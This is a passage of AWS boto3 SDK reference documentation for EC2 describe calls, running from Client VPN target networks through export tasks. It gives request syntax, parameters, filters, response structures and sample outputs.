Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnTargetNetworks) + +**Request Syntax** + +response = client.describe_client_vpn_target_networks( + ClientVpnEndpointId='string', + AssociationIds=[ + 'string', + ], + MaxResults=123, + NextToken='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **AssociationIds** (_list_) -- + + The IDs of the target network associations. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the nextToken value. +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * association-id - The ID of the association. + * target-network-id - The ID of the subnet specified as the target network. + * vpc-id - The ID of the VPC in which the target network is located. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientVpnTargetNetworks': [ + { + 'AssociationId': 'string', + 'VpcId': 'string', + 'TargetNetworkId': 'string', + 'ClientVpnEndpointId': 'string', + 'Status': { + 'Code': 'associating'|'associated'|'association-failed'|'disassociating'|'disassociated', + 'Message': 'string' + }, + 'SecurityGroups': [ + 'string', + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ClientVpnTargetNetworks** _(list) --_ + + Information about the associated target networks. + + * _(dict) --_ + + Describes a target network associated with a Client VPN endpoint. + + * **AssociationId** _(string) --_ + + The ID of the association. + + * **VpcId** _(string) --_ + + The ID of the VPC in which the target network (subnet) is located. + + * **TargetNetworkId** _(string) --_ + + The ID of the subnet specified as the target network. + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint with which the target network is associated. + + * **Status** _(dict) --_ + + The current state of the target network association. + + * **Code** _(string) --_ + + The state of the target network association. + + * **Message** _(string) --_ + + A message about the status of the target network association, if applicable. + + * **SecurityGroups** _(list) --_ + + The IDs of the security groups applied to the target network association. + + * _(string) --_ + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_coip_pools(kwargs_) + +Describes the specified customer-owned address pools or all of your customer-owned address pools. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCoipPools) + +**Request Syntax** + +response = client.describe_coip_pools( + PoolIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **PoolIds** (_list_) -- + + The IDs of the address pools. + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. The following are the possible values: + + * coip-pool.pool-id + * coip-pool.local-gateway-route-table-id + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CoipPools': [ + { + 'PoolId': 'string', + 'PoolCidrs': [ + 'string', + ], + 'LocalGatewayRouteTableId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'PoolArn': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CoipPools** _(list) --_ + + Information about the address pools. + + * _(dict) --_ + + Describes a customer-owned address pool. + + * **PoolId** _(string) --_ + + The ID of the address pool. + + * **PoolCidrs** _(list) --_ + + The address ranges of the address pool. + + * _(string) --_ + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **Tags** _(list) --_ + + The tags. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **PoolArn** _(string) --_ + + The ARN of the address pool. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_conversion_tasks(kwargs_) + +Describes the specified conversion tasks or all your conversion tasks. For more information, see the [VM Import/Export User Guide](https://docs.aws.amazon.com/vm-import/latest/userguide/) . + +For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeConversionTasks) + +**Request Syntax** + +response = client.describe_conversion_tasks( + ConversionTaskIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **ConversionTaskIds** (_list_) -- + + The conversion task IDs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ConversionTasks': [ + { + 'ConversionTaskId': 'string', + 'ExpirationTime': 'string', + 'ImportInstance': { + 'Description': 'string', + 'InstanceId': 'string', + 'Platform': 'Windows', + 'Volumes': [ + { + 'AvailabilityZone': 'string', + 'BytesConverted': 123, + 'Description': 'string', + 'Image': { + 'Checksum': 'string', + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string', + 'Size': 123 + }, + 'Status': 'string', + 'StatusMessage': 'string', + 'Volume': { + 'Id': 'string', + 'Size': 123 + } + }, + ] + }, + 'ImportVolume': { + 'AvailabilityZone': 'string', + 'BytesConverted': 123, + 'Description': 'string', + 'Image': { + 'Checksum': 'string', + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string', + 'Size': 123 + }, + 'Volume': { + 'Id': 'string', + 'Size': 123 + } + }, + 'State': 'active'|'cancelling'|'cancelled'|'completed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **ConversionTasks** _(list) --_ + + Information about the conversion tasks. + + * _(dict) --_ + + Describes a conversion task. + + * **ConversionTaskId** _(string) --_ + + The ID of the conversion task. + + * **ExpirationTime** _(string) --_ + + The time when the task expires. If the upload isn't complete before the expiration time, we automatically cancel the task. + + * **ImportInstance** _(dict) --_ + + If the task is for importing an instance, this contains information about the import instance task. + + * **Description** _(string) --_ + + A description of the task. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Platform** _(string) --_ + + The instance operating system. + + * **Volumes** _(list) --_ + + The volumes. + + * _(dict) --_ + + Describes an import volume task. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the resulting instance will reside. + + * **BytesConverted** _(integer) --_ + + The number of bytes converted so far. + + * **Description** _(string) --_ + + A description of the task. + + * **Image** _(dict) --_ + + The image. + + * **Checksum** _(string) --_ + + The checksum computed for the disk image. + + * **Format** _(string) --_ + + The disk image format. + + * **ImportManifestUrl** _(string) --_ + + A presigned URL for the import manifest stored in Amazon S3. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Size** _(integer) --_ + + The size of the disk image, in GiB. + + * **Status** _(string) --_ + + The status of the import of this particular disk image. + + * **StatusMessage** _(string) --_ + + The status information or errors related to the disk image. + + * **Volume** _(dict) --_ + + The volume. + + * **Id** _(string) --_ + + The volume identifier. + + * **Size** _(integer) --_ + + The size of the volume, in GiB. + + * **ImportVolume** _(dict) --_ + + If the task is for importing a volume, this contains information about the import volume task. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the resulting volume will reside. + + * **BytesConverted** _(integer) --_ + + The number of bytes converted so far. + + * **Description** _(string) --_ + + The description you provided when starting the import volume task. + + * **Image** _(dict) --_ + + The image. + + * **Checksum** _(string) --_ + + The checksum computed for the disk image. + + * **Format** _(string) --_ + + The disk image format. + + * **ImportManifestUrl** _(string) --_ + + A presigned URL for the import manifest stored in Amazon S3. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Size** _(integer) --_ + + The size of the disk image, in GiB. + + * **Volume** _(dict) --_ + + The volume. + + * **Id** _(string) --_ + + The volume identifier. + + * **Size** _(integer) --_ + + The size of the volume, in GiB. + + * **State** _(string) --_ + + The state of the conversion task. + + * **StatusMessage** _(string) --_ + + The status message related to the conversion task. + + * **Tags** _(list) --_ + + Any tags assigned to the task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +describe_customer_gateways(kwargs_) + +Describes one or more of your VPN customer gateways. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCustomerGateways) + +**Request Syntax** + +response = client.describe_customer_gateways( + CustomerGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **CustomerGatewayIds** (_list_) -- + + One or more customer gateway IDs. + + Default: Describes all your customer gateways. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * bgp-asn - The customer gateway's Border Gateway Protocol (BGP) Autonomous System Number (ASN). + * customer-gateway-id - The ID of the customer gateway. + * ip-address - The IP address of the customer gateway's Internet-routable external interface. + * state - The state of the customer gateway (pending | available | deleting | deleted ). + * type - The type of customer gateway. Currently, the only supported type is ipsec.1 . + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CustomerGateways': [ + { + 'BgpAsn': 'string', + 'CustomerGatewayId': 'string', + 'IpAddress': 'string', + 'CertificateArn': 'string', + 'State': 'string', + 'Type': 'string', + 'DeviceName': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeCustomerGateways. + + * **CustomerGateways** _(list) --_ + + Information about one or more customer gateways. + + * _(dict) --_ + + Describes a customer gateway. + + * **BgpAsn** _(string) --_ + + The customer gateway's Border Gateway Protocol (BGP) Autonomous System Number (ASN). + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway. + + * **IpAddress** _(string) --_ + + The Internet-routable IP address of the customer gateway's outside interface. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) for the customer gateway certificate. + + * **State** _(string) --_ + + The current state of the customer gateway (pending | available | deleting | deleted ). + + * **Type** _(string) --_ + + The type of VPN connection the customer gateway supports (ipsec.1 ). + + * **DeviceName** _(string) --_ + + The name of customer gateway device. + + * **Tags** _(list) --_ + + Any tags assigned to the customer gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example describes the specified customer gateway. + +response = client.describe_customer_gateways( + CustomerGatewayIds=[ + 'cgw-0e11f167', + ], +) + +print(response) + +Expected Output: + +{ + 'CustomerGateways': [ + { + 'BgpAsn': '65534', + 'CustomerGatewayId': 'cgw-0e11f167', + 'IpAddress': '12.1.2.3', + 'State': 'available', + 'Type': 'ipsec.1', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_dhcp_options(kwargs_) + +Describes one or more of your DHCP options sets. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +response = client.describe_dhcp_options( + DhcpOptionsIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DhcpOptionsIds** (_list_) -- + + The IDs of one or more DHCP options sets. + + Default: Describes all your DHCP options sets. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * dhcp-options-id - The ID of a DHCP options set. + * key - The key for one of the options (for example, domain-name ). + * value - The value for one of the options. + * owner-id - The ID of the AWS account that owns the DHCP options set. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'DhcpOptions': [ + { + 'DhcpConfigurations': [ + { + 'Key': 'string', + 'Values': [ + { + 'Value': 'string' + }, + ] + }, + ], + 'DhcpOptionsId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **DhcpOptions** _(list) --_ + + Information about one or more DHCP options sets. + + * _(dict) --_ + + Describes a set of DHCP options. + + * **DhcpConfigurations** _(list) --_ + + One or more DHCP options in the set. + + * _(dict) --_ + + Describes a DHCP configuration option. + + * **Key** _(string) --_ + + The name of a DHCP option. + + * **Values** _(list) --_ + + One or more values for the DHCP option. + + * _(dict) --_ + + Describes a value for a resource attribute that is a String. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the DHCP options set. + + * **Tags** _(list) --_ + + Any tags assigned to the DHCP options set. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified DHCP options set. + +response = client.describe_dhcp_options( + DhcpOptionsIds=[ + 'dopt-d9070ebb', + ], +) + +print(response) + +Expected Output: + +{ + 'DhcpOptions': [ + { + 'DhcpConfigurations': [ + { + 'Key': 'domain-name-servers', + 'Values': [ + { + 'Value': '10.2.5.2', + }, + { + 'Value': '10.2.5.1', + }, + ], + }, + ], + 'DhcpOptionsId': 'dopt-d9070ebb', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_egress_only_internet_gateways(kwargs_) + +Describes one or more of your egress-only internet gateways. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeEgressOnlyInternetGateways) + +**Request Syntax** + +response = client.describe_egress_only_internet_gateways( + DryRun=True|False, + EgressOnlyInternetGatewayIds=[ + 'string', + ], + MaxResults=123, + NextToken='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EgressOnlyInternetGatewayIds** (_list_) -- + + One or more egress-only internet gateway IDs. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **Filters** (_list_) -- + + One or more filters. + + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'EgressOnlyInternetGateways': [ + { + 'Attachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'EgressOnlyInternetGatewayId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **EgressOnlyInternetGateways** _(list) --_ + + Information about the egress-only internet gateways. + + * _(dict) --_ + + Describes an egress-only internet gateway. + + * **Attachments** _(list) --_ + + Information about the attachment of the egress-only internet gateway. + + * _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + * **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + * **Tags** _(list) --_ + + The tags assigned to the egress-only internet gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_elastic_gpus(kwargs_) + +Describes the Elastic Graphics accelerator associated with your instances. For more information about Elastic Graphics, see [Amazon Elastic Graphics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeElasticGpus) + +**Request Syntax** + +response = client.describe_elastic_gpus( + ElasticGpuIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **ElasticGpuIds** (_list_) -- + + The Elastic Graphics accelerator IDs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + The filters. + + * availability-zone - The Availability Zone in which the Elastic Graphics accelerator resides. + * elastic-gpu-health - The status of the Elastic Graphics accelerator (OK | IMPAIRED ). + * elastic-gpu-state - The state of the Elastic Graphics accelerator (ATTACHED ). + * elastic-gpu-type - The type of Elastic Graphics accelerator; for example, eg1.medium . + * instance-id - The ID of the instance to which the Elastic Graphics accelerator is associated. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ElasticGpuSet': [ + { + 'ElasticGpuId': 'string', + 'AvailabilityZone': 'string', + 'ElasticGpuType': 'string', + 'ElasticGpuHealth': { + 'Status': 'OK'|'IMPAIRED' + }, + 'ElasticGpuState': 'ATTACHED', + 'InstanceId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'MaxResults': 123, + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ElasticGpuSet** _(list) --_ + + Information about the Elastic Graphics accelerators. + + * _(dict) --_ + + Describes an Elastic Graphics accelerator. + + * **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in the which the Elastic Graphics accelerator resides. + + * **ElasticGpuType** _(string) --_ + + The type of Elastic Graphics accelerator. + + * **ElasticGpuHealth** _(dict) --_ + + The status of the Elastic Graphics accelerator. + + * **Status** _(string) --_ + + The health status. + + * **ElasticGpuState** _(string) --_ + + The state of the Elastic Graphics accelerator. + + * **InstanceId** _(string) --_ + + The ID of the instance to which the Elastic Graphics accelerator is attached. + + * **Tags** _(list) --_ + + The tags assigned to the Elastic Graphics accelerator. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **MaxResults** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a Next-Token will be provided in the output that you can use to resume pagination. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_export_image_tasks(kwargs_) + +Describes the specified export image tasks or all of your export image tasks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeExportImageTasks) + +**Request Syntax** + +response = client.describe_export_image_tasks( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ExportImageTaskIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + Filter tasks using the task-state filter and one of the following values: active , completed , deleting , or deleted . + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ExportImageTaskIds** (_list_) -- + + The IDs of the export image tasks. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. +* **NextToken** (_string_) -- A token that indicates the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ExportImageTasks': [ + { + 'Description': 'string', + 'ExportImageTaskId': 'string', + 'ImageId': 'string', + 'Progress': 'string', + 'S3ExportLocation': { + 'S3Bucket': 'string', + 'S3Prefix': 'string' + }, + 'Status': 'string', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ExportImageTasks** _(list) --_ + + Information about the export image tasks. + + * _(dict) --_ + + Describes an export image task. + + * **Description** _(string) --_ + + A description of the image being exported. + + * **ExportImageTaskId** _(string) --_ + + The ID of the export image task. + + * **ImageId** _(string) --_ + + The ID of the image. + + * **Progress** _(string) --_ + + The percent complete of the export image task. + + * **S3ExportLocation** _(dict) --_ + + Information about the destination Amazon S3 bucket. + + * **S3Bucket** _(string) --_ + + The destination Amazon S3 bucket. + + * **S3Prefix** _(string) --_ + + The prefix (logical hierarchy) in the bucket. + + * **Status** _(string) --_ + + The status of the export image task. The possible values are active , completed , deleting , and deleted . + + * **StatusMessage** _(string) --_ + + The status message for the export image task. + + * **Tags** _(list) --_ + + Any tags assigned to the image being exported. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to get the next page of results. This value is null when there are no more results to return. + + +describe_export_tasks(kwargs_) + +Describes the specified export instance tasks or all of your export instance tasks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeExportTasks) + +**Request Syntax** + +response = client.describe_export_tasks( + ExportTaskIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **ExportTaskIds** (_list_) -- + + The export task IDs. + + * _(string) --_ +* **Filters** (_list_) -- + + the filters for the export tasks. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + 